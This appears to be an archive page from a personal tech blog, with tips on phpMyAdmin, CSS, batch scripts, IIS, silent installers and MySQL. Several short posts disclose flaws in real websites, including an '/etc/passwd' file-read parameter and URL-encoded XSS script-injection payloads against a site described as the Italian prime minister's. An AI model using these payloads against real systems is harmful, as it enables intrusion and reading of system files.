Skip to main content


Showing posts from March, 2014

error #1146 - Table 'phpmyadmin.pma__recent' doesn't exist

#1146 - Table 'phpmyadmin.pma__recent' doesn't exist

It could happen that the phpmyadmin database doesn't exists and/or phpmyadmin is misconfigured.

To fix the problem we just need to import the file "create_tables.sql" that can be found in (any) the phpmyadmin package inside the "examples/" folders.

mysq -u root --password=mypassword < create_tables.sql

css centering image in a div in the middle of the page - dirty method

Sample css to center blocks, images within divs. I'm not sure if it's a good method.

text-align: center;

.centering img{
  display: inline-block; /*inline block so that we can align it*/

position: absolute;
top: 0;
bottom: 0;
left: 0;
right: 0;
margin: auto;


<div class="centering">
<img src="your_image.png" />

batch script - alert with sound for smart hdd probelms fix

batch script - alert with sound for smart hdd probelms fix
smartmontools detect failure at boot

This is a small batch script that starts an alert if  a "FAILED" string is found in the smartctl report.

@Echo on
SET SMARTBIN=smartmontools\smartctl.exe
SET REPORTFILE=smartinfo.txt
%SMARTBIN% --scan > smartdrives.txt
for /F "tokens=1" %%i in (smartdrives.txt) do %SMARTBIN% -s on %%i > %REPORTFILE% && %SMARTBIN% -i %%i >> %REPORTFILE% && %SMARTBIN% -H %%i >> %REPORTFILE%

findstr /m "FAILED" %REPORTFILE%
if %errorlevel%==0 (
sound\cmdmp3win.exe sound\alert.mp3

I personally cannot suggest smatmontools "as is" without the parsing of the S.M.A.R.T. data or full test with smartmontools.

After creting this sample script I have faced the reality that my HD smart report was not correct .
I prefer to manually check with crystaldisk because it reports as "good" or "problematic" without wasting time and with more ac…

IIS 7 Mime type modification without iis 7 manager | fix svg wrong mime type | svg not appearing

I'm quite ignorant about IIS 7 but after using ii7 manager I've noticed that it's easier than expected to modify
the preconfigured mime types and *any* (I don't know exactly what can be modified or not) other configuration
by adding/modifying "web.config" in the root directory.

This sample file web.config is a modification for the svg that have a wrong mime type and the svg are not showing correctly.


    <system .webserver="">
            <remove fileextension=".svg2">
            <remove fileextension=".svg">
            <mimemap fileextension=".svg" mimetype="image/svg+xml">
            <mimemap fileextension=".svg2" mimetype="image/svg+xml">
installare IIS 7 manager for website administration.
I've faced a simple problem regarding an incorrect svg mime type. The hosting company for a specific website have told me to modify it by myself via iis 7 manager (weird in my opinion). Trovandomi di fronte al problema di dover modificare il mime type per svg. L'assistenza dell'azienda di hosting, Aruba (in questo caso), mi ha risposto di fare le modifiche autonomamente tramite ii7 manager. La cosa mi è sembrata strana perché sarebbe stato utile ed immediato fare le modifiche dal pannello di controllo e non tutti gli utenti hanno sistema operativo Microsoft, i requisiti necessari (a volte mancano pacchetti vari da installare a parte come XML) e le idee non chiarissime su come procedere. ____________________________________________________________

Start->Pannello di controlo

Programmi e funzionalità

Attivazione o disattivazione delle funzionalità Windows

Selezionare "console di gestione IIS" (sotto "I…

Useful tools for mssql



osql batch database extractor

Java client is really good for several different databases. A very nice tool.

It looks interesting but it doesn't connect (maybe i'm writing the wrong connection data)

good for automatic backup (.bak) to local/shared folder, ftp.

several interesting tools.

simple html javascript redirect

Simple javascript and html meta tag to redirect.

<script type="text/javascript">
function Redirect() { location.href = "static/"; }
window.setTimeout("Redirect()", 1000);
<meta http-equiv="refresh" content="1; url=static/">
<div id="redirectlink" ><a href="static/">redirect page</a></div>

Published as personal reminder.

Xamarin studio silent automated installation and download

Xamarin studio offline installation

simplet batch script to (download) and install, also offline, xamarin studio with mono android, xamarin ios, gtk sharp, android sdk tools, android ndk (I'm not sure if it's the right installation method but I've read it in the installation logs of xamarin).

If you need to just install remove the part related to "wget" in the install batch script.

download Xamarin studio silent installation

I needed to automate such process. sometimes msiexec hangs but I don't have the time to verify why (at the moment) ... just kill it from the task manager. Comment for errors, suggestions.

Android SDK Setup automated Installer

Android SDK Setup automated Silent Installer.
Android sdk silent installation.

If you need to install without clicking i've added a very simple setup executable that should work with all the installers of the Android SDK Tools

Download any sdk tool
For Example I've download "installer_r22-windows.exe"
Rename it as "androidsdk.exe"

Run setup.exe from the same folder. The setup runs androidsdk.exe and go ahead without your interaction.
At the end of the setup it opens automatically the tools.

I've simply used  an autoit script. Nothing really particular but I needed to automate various installations.

Download automate android sdk tools installation

It's just for personal use but comments are welcome.

asansambox asangsm Drivers and usage as MXbox that allows (?) Nokia flashing too

I've buyed the Asansambox but due to the big waste of time searching for the right driver I've been unable to install it for more than a week (frustration).
The company told me to use their drivers (there are several links and drivers for the SAME box).

In my case I've to install "smart key" (question mark in the devices manager).
The hardware id hwid (in my case) is SCFILTER\CID_80318065b0831148c883009000

After a search on google I've found a similar product that is the HTI mxkey card (another box?)

I've (simply) set in the inf the hwid as CardName "JCOP41V221". There's no specifi driver needed (in general).

Here you can download the Asansam box drivers

I  don't really know which device is "JCOP41V221" but it looks like the latest (?) version of the mx key ... sort of  ....

I just have problems with already buyed and, for the moment, a -paperweight- named Asansam.

The asansambox is capable to request data from *dead* MTK (chi… | remote file read/download - System compromise

oracle, mysql, hacluster, open-xchange

TNS for Linux: Version - Production-Oracle Database 11g Enterprise Edition Release - 64bit Production

There are too many and mixed up scripting languages and messed up *solutions*.

Read quite any file$debug=pp&$file=/etc/passwd

SEVERAL possible sql injections (there are too many of them ...)

the errors are so kind to give those informations:
host: `localhost'
user: …

Drop tables of a database from command line (windows or linux). MySQL.

Drop tables of a database from command line (windows or linux). MySQL.
How to drop tables from command line with a mysql database.

--setting a session (not global since we probably don't have enough privileges) with an higher length. Change the number/length as needed.
SET SESSION group_concat_max_len = 90000;

--setting a variable with the group concatenated list of the tables (ex.: table1,tables2;). Change the MYTABLENAMETOCHANGE with your own table
SET @mytables = (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = 'MYTABLENAMETOCHANGE');

--setting a variable so that we can have a full DROP (if table exists) statement
SET @drptables = (SELECT CONCAT('DROP TABLE IF EXISTS ', @mytables, ';'));

-- preparing "droppingtables" the sql statement from the @drptables variable
PREPARE droppingtables FROM @drptables;

-- executing the sql statement "droppingtables"
EXECUTE droppingtables;

-- releasing "droppi…

Install OS/2 Warp with (or without) virtualbox

-- Install the oracle virtual box (ex. 4.2.0)
-- Create a new v.machine  with the settings for your os/2 warp version

 Name(anything): os2warp
 Type: IBM OS/2
 Version (the version that you are installing - 4 in my case): OS/2 Warp 4

-- Add one Disk and one Floppy as storage(s) for the virtual machine. Add a CD/DVD drive if you want to install a bit faster (see below).

-- extract the os2warp.iso so that you can use the dsk images for the installation (located in \DISKIMGS\OS2\35\)

-- Load in the floppy device the disk0.dsk and swap when requested by the os2 setup.

-- when the setup asks for the floppy 1 (after 0) use the DISK1_CD.DSK as floppy and remember to put the CD or load the cd iso image in the, virtual or real, cd drive

-- Choose "easy installation" if you don't need particular things.

When you the "Fdisk" application appears it can show you that the first disk is corrupted. Just go ahead and press enter.
press tab and press -> (right) to choose your disk.
A… | XSS



Windows 7 - 64 bit - Carta Nazionale Servizi

Windows 7 - 64 bit - Carta Nazionale Servizi

Installare il proprio lettore di smartcard (alcuni driver sono disponibili qui)

Installare il certificato infocert (windows doppio click su file - sempre avanti) (link diretto)

Installare dike
Per le carte serie 1401, 1402 e token USB serie 1501 DiKe fa uso del software CardOS API: per scaricarlo, vedere le istruzioni nella pagina di DiKe. (Rif. infocert)

Se non funziona dike per le carte che iniziano per: 1203, 1204, 1205, 7420,  6090
installare questa versione ipki (x64)

Per windows XP ed Aruba PEC utilizzare la versione

Per Firefox seguire
Stru… | | XSS, SQL INJ, etc

Personal website of the Italian  prime minister.

XSS and SQL injections. Sys compromise (windows);%3C/script%3E%3C%22%A7%A7%A7%A7%A7%A7vedi_v%27id%27eo%A7%A7%A71%A7%A7%A70

carrello_beta.asp?azione=%22%3E%3Cscript%3Ealert%28%27xss%27%29;%3C/script%3E%3C%22%A7%A7%A7%A7%A7%A7vedi_v%27id%27eo%A7%A7%A71%A7%A7%A70finestra_stampa_beta.asp?numero_immagini=%22%3E%3Cscript%3Ealert%28%27xss%27%29;%3C/script%3E%3C%22%A7%A7%A7%A7%A7%A7vedi_v%27id%27eo%A7%A7%A71%A7%A7%A70popup.asp… | read file, download remote files, system compromise

The website is dead and I suppose that it can be published.

Warning: file_get_contents(;amp;NRORIGINALURL=%2fbmdc%2f&amp;amp;NRNODEGUID=%7bFF6D29D6-98D7-4C9B-9C8B-1B11573299DD%7d&amp;amp;NRCACHEHINT=Guest) [function.file-get-contents]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/subdimen/public_html/ on line 63
Bad URL = ";NRORIGINALURL=%2fbmdc%2f&amp;NRNODEGUID=%7bFF6D29D6-98D7-4C9B-9C8B-1B11573299DD%7d&amp;NRCACHEHINT=Guest"!